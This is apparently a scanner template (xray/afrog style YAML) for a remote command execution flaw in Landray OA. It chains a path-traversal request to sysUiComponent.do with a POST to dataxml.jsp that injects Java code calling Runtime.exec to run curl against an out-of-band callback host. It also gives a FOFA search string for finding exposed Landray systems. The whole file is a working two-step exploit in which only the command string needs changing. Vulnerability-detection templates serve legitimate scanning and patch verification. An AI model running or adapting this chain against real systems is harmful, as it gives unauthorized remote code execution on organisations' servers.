landray-dataxml-jsp-rce: 蓝凌OA dataxml.jsp 远程命令执行漏洞

id: landray-dataxml-jsp-rce

info:
  name: 蓝凌OA dataxml.jsp 远程命令执行漏洞
  author: avic123
  severity: critical
  verified: true
  description: |
    蓝凌OA dataxml.jsp 存在远程命令执行漏洞
    FOFA：app="Landray-OA系统"
  reference:
    - https://cn-sec.com/archives/3026864.html
  tags: Landray,ekp,rce
  created: 2025/1/16

set:
  oob: oob()
  oobHTTP: oob.HTTP
  hostname: request.url.host

rules:
  r0:
    request:
      method: POST
      path: /sys/ui/sys_ui_component/sysUiComponent.do
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryL7ILSpOdIhIIvL51
        X-Requested-With: XMLHttpRequest
      body: |
        ------WebKitFormBoundaryL7ILSpOdIhIIvL51
        Content-Disposition:form-data;name="method"

        replaceExtend
        ------WebKitFormBoundaryL7ILSpOdIhIIvL51
        Content-Disposition:form-data;name="extendId"

        ../../../../resource/help/km/review/
        ------WebKitFormBoundaryL7ILSpOdIhIIvL51
        Content-Disposition:form-data;name="folderName"

        ../../../ekp/sys/common
        ------WebKitFormBoundaryL7ILSpOdIhIIvL51--
    expression: response.status == 200 && "1".bmatches(response.body)
  r1:
    request:
      method: POST
      path: /resource/help/kms/knowledge/dataxml.jsp
      headers:
        Content-Type: application/x-www-form-urlencoded
      body: |
        s_bean=ruleFormulaValidate&script=try {String cmd = "curl+{{oobHTTP}}";Process child = Runtime.getRuntime().exec(cmd);} catch (IOException e) {System.err.println(e);}
    expression: response.status == 200 && oobCheck(oob, oob.ProtocolHTTP, 3)

expression: r0() && r1()